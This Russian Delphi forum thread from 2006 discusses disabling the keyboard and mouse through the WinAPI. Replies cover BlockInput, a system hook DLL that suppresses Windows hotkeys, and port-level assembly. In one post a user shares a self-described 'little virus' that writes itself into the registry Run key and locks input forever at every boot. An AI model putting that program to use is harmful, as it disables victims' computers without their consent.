VPF::програмное выключение клавы и мыши

Randomshik

Дата 14.2.2006, 18:13 (ссылка)

(нет голосов)

Загрузка ...

Новичок

Профиль
Группа: Участник
Сообщений: 2
Регистрация: 14.2.2006

Репутация: нет
Всего: нет

Люди... помогите пожалуйста програмно выключить клаву и мышь... smile

никак неполучаеться..

_hunter

Дата 14.2.2006, 19:30 (ссылка)

(нет голосов)

Загрузка ...

Эксперт

Профиль
Группа: Участник Клуба
Сообщений: 8564
Регистрация: 24.6.2003
Где: Europe::Ukraine:: Kiev

Репутация: 9
Всего: 98

поиском пользуемся

--------------------

Tempora mutantur, et nos mutamur in illis...

ShadowDancer

Дата 14.2.2006, 23:01 (ссылка)

(голосов: 0)

Загрузка ...

Unregistered

Код


implementation
function BlockInput(fBlockIt: Boolean): Boolean;  stdcall; external 'user32.dll';


.....


BlockInput(True); \\вырубить мышу, клаву
BlockInput(False); \\врубить

Yanis

Дата 15.2.2006, 02:01 (ссылка)

(нет голосов)

Загрузка ...

Эксперт

Профиль
Группа: Участник Клуба
Сообщений: 2937
Регистрация: 9.2.2004
Где: Москва

Репутация: 13
Всего: 111

Цитата(ShadowDancer @ 14.2.2006, 23:01)

Код


implementation
function BlockInput(fBlockIt: Boolean): Boolean;  stdcall; external 'user32.dll';


.....


BlockInput(True); \\вырубить мышу, клаву
BlockInput(False); \\врубить

Верно, но к сожалению против Ctrl+Alt+Del этот приём бессилен.

--------------------

*щёлк*

Palladin

Дата 23.2.2006, 01:10 (ссылка)

(нет голосов)

Загрузка ...

Опытный

Профиль
Группа: Участник
Сообщений: 932
Регистрация: 15.5.2007
Где: Беларусь г.Гомель

Репутация: нет
Всего: 17

Вот решение от CTRL+ALT+DEL

implementation
function BlockInput(fBlockIt: Boolean): Boolean; stdcall; external 'user32.dll';

procedure TForm1.Button1Click(Sender: TObject);
begin
repeat
blockinput(true);
until 2=3;
end;

Камп виснет наглухо, загрузка проца 100%, при нажатии CTRL+ALT+DEL через некоторое время диспетчер подгружается но толку мало smile

)))))))

Проверил на собственной машине smile

)))))))))

--------------------

Глуп тот кто полагается на истину авторитета, а не на авторитет истины
[color=red]KAV&KIS==Evil[/color]

Bog d`An

Дата 23.2.2006, 04:11 (ссылка)

(нет голосов)

Загрузка ...

Бывалый

Профиль
Группа: Участник
Сообщений: 217
Регистрация: 26.3.2005
Где: Украина:Днепропет ровск

Репутация: нет
Всего: 3

Может стоить хук повесить?

--------------------

Удача откроет двери даже там, где их нет.Генри Морган--------------------[Furry team][Agent`s team][СРУКер]

Palladin

Дата 23.2.2006, 20:10 (ссылка)

(нет голосов)

Загрузка ...

Опытный

Профиль
Группа: Участник
Сообщений: 932
Регистрация: 15.5.2007
Где: Беларусь г.Гомель

Репутация: нет
Всего: 17

Я тут не давно на форуме да и в программирование тоже, Bog d`An что такое хук????

--------------------

Глуп тот кто полагается на истину авторитета, а не на авторитет истины
[color=red]KAV&KIS==Evil[/color]

Bog d`An

Дата 24.2.2006, 04:51 (ссылка)

(нет голосов)

Загрузка ...

Бывалый

Профиль
Группа: Участник
Сообщений: 217
Регистрация: 26.3.2005
Где: Украина:Днепропет ровск

Репутация: нет
Всего: 3

о!! это такая весч! закачаешся... конкретно на мышу и клаву вроде бы на форуме видел...
если хороше знаешь английский - вот пример как отключить комбинации клавиш винды

Код


 
Отключить клавиши при системном Hooke 
--------------------------------------------------------------------------------


Оформил: DeeCo
Автор: http://www.swissdelphicenter.ch 

{ 
  ** What is a Hook? ** 

  A hook is a point in the system message-handling mechanism where an 
  application can install a subroutine to monitor the message traffic in 
  the system and process certain types of messages before they reach the target window procedure. 

  To use the Windows hook mechanism, a program calls the SetWindowsHookEx() API function, 
  passing the address of a hook procedure that is notified when the specified 
  event takes place. SetWindowsHookEx() returns the address of the previously installed 
  hook procedure for the same event type. This address is important, 
  because hook procedures of the same type form a kind of chain. 
  Windows notifies the first procedure in the chain when an event occurs, 
  and each procedure is responsible for passing along the notification. 
  To do so, a hook procedure must call the CallNextHookEx() API function, 
  passing the previous hook procedure's address. 

  --> All system hooks must be located in a dynamic link library. 

  ** The type of Hook used in this Example Code: ** 

  The WH_GETMESSAGE hook enables an application to monitor/intercept messages 
  about to be returned by the GetMessage or PeekMessage function. 
}


 { 

** Hook Dll - WINHOOK.dll ** 
WINHOOK.dpr 
       |-----WHookInt.pas 

** Interface unit ** WHookDef.dpr 

}

 {********** Begin WHookDef.dpr **************}

 { Interface unit for use with WINHOOK.DLL }

 unit WHookDef;

 interface

 uses
   Windows;

 function SetHook(WinHandle: HWND; MsgToSend: Integer): Boolean; stdcall;
 function FreeHook: Boolean; stdcall;

 implementation

 function SetHook; external 'WINHOOK.DLL' Index 1;
 function FreeHook; external 'WINHOOK.DLL' Index 2;

 end.

 {********** End WHookDef.dpr **************}


 {********** Begin Winhook.dpr **************}

 { The project file }

 { WINHOOK.dll }
 library Winhook;

 uses
   WHookInt in 'Whookint.pas';

 exports
   SetHook index 1,
   FreeHook index 2;
 end.

 {********** End Winhook.dpr **************}


 {********** Begin WHookInt.pas **************}

 unit WHookInt;

 interface

 uses
   Windows, Messages, SysUtils;

 function SetHook(WinHandle: HWND; MsgToSend: Integer): Boolean; stdcall; export;
 function FreeHook: Boolean; stdcall; export;
 function MsgFilterFunc(Code: Integer; wParam, lParam: Longint): Longint stdcall; export;

 implementation


 // Memory map file stuff 

{ 
  The CreateFileMapping function creates unnamed file-mapping object 
  for the specified file. 
}

 function CreateMMF(Name: string; Size: Integer): THandle;
 begin
   Result := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, Size, PChar(Name));
   if Result <> 0 then
   begin
     if GetLastError = ERROR_ALREADY_EXISTS then
     begin
       CloseHandle(Result);
       Result := 0;
     end;
   end;
 end;

 { The OpenFileMapping function opens a named file-mapping object. }

 function OpenMMF(Name: string): THandle;
 begin
   Result := OpenFileMapping(FILE_MAP_ALL_ACCESS, False, PChar(Name));
   // The return value is an open handle to the specified file-mapping object. 
end;

 { 
 The MapViewOfFile function maps a view of a file into 
 the address space of the calling process. 
}

 function MapMMF(MMFHandle: THandle): Pointer;
 begin
   Result := MapViewOfFile(MMFHandle, FILE_MAP_ALL_ACCESS, 0, 0, 0);
 end;

 { 
  The UnmapViewOfFile function unmaps a mapped view of a file 
  from the calling process's address space. 
}

 function UnMapMMF(P: Pointer): Boolean;
 begin
   Result := UnmapViewOfFile(P);
 end;

 function CloseMMF(MMFHandle: THandle): Boolean;
 begin
   Result := CloseHandle(MMFHandle);
 end;


 // Actual hook stuff 

type
   TPMsg = ^TMsg;

 const
   VK_D = $44;
   VK_E = $45;
   VK_F = $46;
   VK_M = $4D;
   VK_R = $52;

   MMFName = 'MsgFilterHookDemo';

 type
   PMMFData = ^TMMFData;
   TMMFData = record
     NextHook: HHOOK;
     WinHandle: HWND;
     MsgToSend: Integer;
   end;

   // global variables, only valid in the process which installs the hook. 
var
   MMFHandle: THandle;
   MMFData: PMMFData;

 function UnMapAndCloseMMF: Boolean;
 begin
   Result := False;
   if UnMapMMF(MMFData) then
   begin
     MMFData := nil;
     if CloseMMF(MMFHandle) then
     begin
       MMFHandle := 0;
       Result := True;
     end;
   end;
 end;

 { 
  The SetWindowsHookEx function installs an application-defined 
  hook procedure into a hook chain. 

  WH_GETMESSAGE Installs a hook procedure that monitors messages 
  posted to a message queue. 
  For more information, see the GetMsgProc hook procedure. 
}

 function SetHook(WinHandle: HWND; MsgToSend: Integer): Boolean; stdcall;
 begin
   Result := False;
   if (MMFData = nil) and (MMFHandle = 0) then
   begin
     MMFHandle := CreateMMF(MMFName, SizeOf(TMMFData));
     if MMFHandle <> 0 then
     begin
       MMFData := MapMMF(MMFHandle);
       if MMFData <> nil then
       begin
         MMFData.WinHandle := WinHandle;
         MMFData.MsgToSend := MsgToSend;
         MMFData.NextHook := SetWindowsHookEx(WH_GETMESSAGE, MsgFilterFunc, HInstance, 0);

         if MMFData.NextHook = 0 then
           UnMapAndCloseMMF
         else
           Result := True;
       end
       else
       begin
         CloseMMF(MMFHandle);
         MMFHandle := 0;
       end;
     end;
   end;
 end;


 { 
  The UnhookWindowsHookEx function removes the hook procedure installed 
  in a hook chain by the SetWindowsHookEx function. 
}

 function FreeHook: Boolean; stdcall;
 begin
   Result := False;
   if (MMFData <> nil) and (MMFHandle <> 0) then
     if UnHookWindowsHookEx(MMFData^.NextHook) then
       Result := UnMapAndCloseMMF;
 end;



 (*
     GetMsgProc(
     nCode: Integer;  {the hook code}
     wParam: WPARAM;  {message removal flag}
     lParam: LPARAM  {a pointer to a TMsg structure}
     ): LRESULT;  {this function should always return zero}

     { See help on ==> GetMsgProc}
 *)

 function MsgFilterFunc(Code: Integer; wParam, lParam: Longint): Longint;
 var
   MMFHandle: THandle;
   MMFData: PMMFData;
   Kill: boolean;
 begin
   Result := 0;
   MMFHandle := OpenMMF(MMFName);
   if MMFHandle <> 0 then
   begin
     MMFData := MapMMF(MMFHandle);
     if MMFData <> nil then
     begin
       if (Code < 0) or (wParam = PM_NOREMOVE) then
         { 
          The CallNextHookEx function passes the hook information to the 
          next hook procedure in the current hook chain. 
        }
         Result := CallNextHookEx(MMFData.NextHook, Code, wParam, lParam)
       else
       begin
         Kill := False;

         { Examples }
         with TMsg(Pointer(lParam)^) do
         begin
           // Kill Numbers 
          if (wParam >= 48) and (wParam <= 57) then Kill := True;
           // Kill Tabulator 
          if (wParam = VK_TAB) then Kill := True;
         end;

         { Example to disable all the start-Key combinations }
         case TPMsg(lParam)^.message of
           WM_SYSCOMMAND: // The Win Start Key (or Ctrl+ESC) 
            if TPMsg(lParam)^.wParam = SC_TASKLIST then Kill := True;

           WM_HOTKEY:
             case ((TPMsg(lParam)^.lParam and $00FF0000) shr 16) of
               VK_D,      // Win+D        ==> Desktop 
              VK_E,      // Win+E        ==> Explorer 
              VK_F,      // Win+F+(Ctrl) ==> Find:All (and Find: Computer) 
              VK_M,      // Win+M        ==> Minimize all 
              VK_R,      // Win+R        ==> Run program. 
              VK_F1,     // Win+F1       ==> Windows Help 
              VK_PAUSE:  // Win+Pause    ==> Windows system properties 
                Kill := True;
             end;
         end;
         if Kill then TPMsg(lParam)^.message := WM_NULL;
         Result := CallNextHookEx(MMFData.NextHook, Code, wParam, lParam)
       end;
       UnMapMMF(MMFData);
     end;
     CloseMMF(MMFHandle);
   end;
 end;


 initialization
   begin
     MMFHandle := 0;
     MMFData   := nil;
   end;

 finalization
   FreeHook;
 end.

 {********** End WHookInt.pas **************}


 { *******************************************}
 { ***************** Demo   ******************}
 { *******************************************}

 { 

** HostApp.Exe ** 
HostApp.dpr 
       |-----FrmMainU.pas 

}

 {********** Begin HostApp.dpr **************}

 { Project file }

 program HostApp;

 uses
   Forms,
   FrmMainU in 'FrmMainU.pas' {FrmMain};

 {$R *.RES}

 begin
   Application.Initialize;
   Application.CreateForm(TFrmMain, FrmMain);
   Application.Run;
 end.

 {********** End HostApp.dpr **************}


 {********** Begin FrmMainU.pas **************}

 unit FrmMainU;

 interface

 uses
   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
   StdCtrls, ExtCtrls;

 const
   HookDemo = 'WINHOOK.dll';

 const
   WM_HOOKCREATE = WM_USER + 300;

 type
   TFrmMain = class(TForm)
     Panel1: TPanel;
     BtnSetHook: TButton;
     BtnClearHook: TButton;
     procedure BtnSetHookClick(Sender: TObject);
     procedure BtnClearHookClick(Sender: TObject);
     procedure FormCreate(Sender: TObject);
   private
     FHookSet: Boolean;
     procedure EnableButtons;
   public

   end;

 var
   FrmMain: TFrmMain;

 function SetHook(WinHandle: HWND; MsgToSend: Integer): Boolean; stdcall;
   external HookDemo;

 function FreeHook: Boolean; stdcall; external HookDemo;

 implementation

 {$R *.DFM}

 procedure TFrmMain.EnableButtons;
 begin
   BtnSetHook.Enabled   := not FHookSet;
   BtnClearHook.Enabled := FHookSet;
 end;

 // Start the Hook 
procedure TFrmMain.BtnSetHookClick(Sender: TObject);
 begin
   FHookSet := LongBool(SetHook(Handle, WM_HOOKCREATE));
   EnableButtons;
 end;

 // Stop the Hook 
procedure TFrmMain.BtnClearHookClick(Sender: TObject);
 begin
   FHookSet := FreeHook;
   EnableButtons;
   BtnClearHook.Enabled := False;
 end;

 procedure TFrmMain.FormCreate(Sender: TObject);
 begin
   EnableButtons;
 end;

 end.

 {********** End FrmMainU.pas **************}
 
 
 
Проект Delphi World © Выпуск 2002 - 2004 
Автор проекта: ___Nikolay

зы: авторские права - внизу кода
зыы: а зачем тебе вообще это надо? просто подвесить комп или для чего нужного?

--------------------

Удача откроет двери даже там, где их нет.Генри Морган--------------------[Furry team][Agent`s team][СРУКер]

Palladin

Дата 24.2.2006, 13:35 (ссылка)

(нет голосов)

Загрузка ...

Опытный

Профиль
Группа: Участник
Сообщений: 932
Регистрация: 15.5.2007
Где: Беларусь г.Гомель

Репутация: нет
Всего: 17

Короче комбинации клавы можно обрубить проще

type
//тип загружаемой процедуры
TRegisterServiceProcess = function (dwProcessID, dwType:DWord) : DWORD; stdcall;

implementation

//2)Отключение комбинаций клавиш Ctrl-Alt-Del, Alt-Tab, Ctrl-Esc
procedure TForm1.Button3Click(Sender: TObject);
begin
SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,0,0);
end;

вроде должно работать

P.S. нужно для нужного а не просто так

--------------------

Глуп тот кто полагается на истину авторитета, а не на авторитет истины
[color=red]KAV&KIS==Evil[/color]

volvo877

Дата 24.2.2006, 16:55 (ссылка)

(нет голосов)

Загрузка ...

Эксперт

Профиль
Группа: Комодератор
Сообщений: 2073
Регистрация: 15.11.2004

Репутация: 5
Всего: 116

RooR, а теперь открываем MSDN и читаем:

Цитата(MSDN)

You can prevent the CTRL+ALT+DEL and ALT+TAB key combinations from opening a task list in Windows 95, Windows 98, or Windows Me by calling the SystemParametersInfo function in the Win32 API. A step-by-step example of this appears below.

NOTE: This is possible only in Windows 95, Windows 98, or Windows Me.

...
The Win32 SDK states:
"SPI_SCREENSAVERRUNNING Windows 95: Used internally; applications should not use this flag. Windows NT: Not supported."

То есть твой способ на NT не пойдет... smile

Это сообщение отредактировал(а) volvo877 - 24.2.2006, 16:59

Palladin

Дата 24.2.2006, 17:00 (ссылка)

(нет голосов)

Загрузка ...

Опытный

Профиль
Группа: Участник
Сообщений: 932
Регистрация: 15.5.2007
Где: Беларусь г.Гомель

Репутация: нет
Всего: 17

Да я вообще не смотрел что там вверху написано, я написал что есть у меня на компе(литература всякая) и там написано вот это ну я и написал

type
//тип загружаемой процедуры
TRegisterServiceProcess = function (dwProcessID, dwType:DWord) : DWORD; stdcall;

implementation

//Отключение комбинаций клавиш Ctrl-Alt-Del, Alt-Tab, Ctrl-Esc
procedure TForm1.Button3Click(Sender: TObject);
begin
SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,0,0);
end;

--------------------

Глуп тот кто полагается на истину авторитета, а не на авторитет истины
[color=red]KAV&KIS==Evil[/color]

Palladin

Дата 25.2.2006, 00:52 (ссылка)

(нет голосов)

Загрузка ...

Опытный

Профиль
Группа: Участник
Сообщений: 932
Регистрация: 15.5.2007
Где: Беларусь г.Гомель

Репутация: нет
Всего: 17

Короче додумал и доделал прогу про выключение клавы и мыши, получился "вирусок" может кто сможет применить в благих целях smile

Код



unit Unit1;

interface

uses
registry,
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation
function BlockInput(fBlockIt: Boolean): Boolean;
stdcall; external 'user32.dll';


procedure TForm1.FormCreate(Sender: TObject);
 var RegIni:TRegIniFile;
begin
 RegIni:=TRegIniFile.Create('Software');
 RegIni.RootKey:=HKEY_LOCAL_MACHINE;
 RegIni.OpenKey('Software', true);
 RegIni.OpenKey('Microsoft', true);
 RegIni.OpenKey('Windows', true);
 RegIni.OpenKey('CurrentVersion', true);
 RegIni.WriteString('Run', 'VandR.exe',
   Application.ExeName);
 RegIni.Free;

  repeat              
blockinput(true);
until 2=3;
end;

end.

--------------------

Глуп тот кто полагается на истину авторитета, а не на авторитет истины
[color=red]KAV&KIS==Evil[/color]

vood

Дата 25.2.2006, 07:35 (ссылка)

(нет голосов)

Загрузка ...

Опытный

Профиль
Группа: Участник
Сообщений: 271
Регистрация: 23.2.2006
Где: Санкт-Петербург

Репутация: нет
Всего: 1

Код


Только для клавы
Отрубить 

Asm  
 in al,21h  
 
 or al,00000010b  
 
 out 21h,al  
 
  
End;  



Врубить 

Asm  
 in al,21h  
 
 mov al,0  
 
 out 21h,al  
 
  
End;

--------------------

Вы все еще курите ? Тогда мы идем к вам

0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема \| Delphi: WinAPI и системное программирование \| Следующая тема »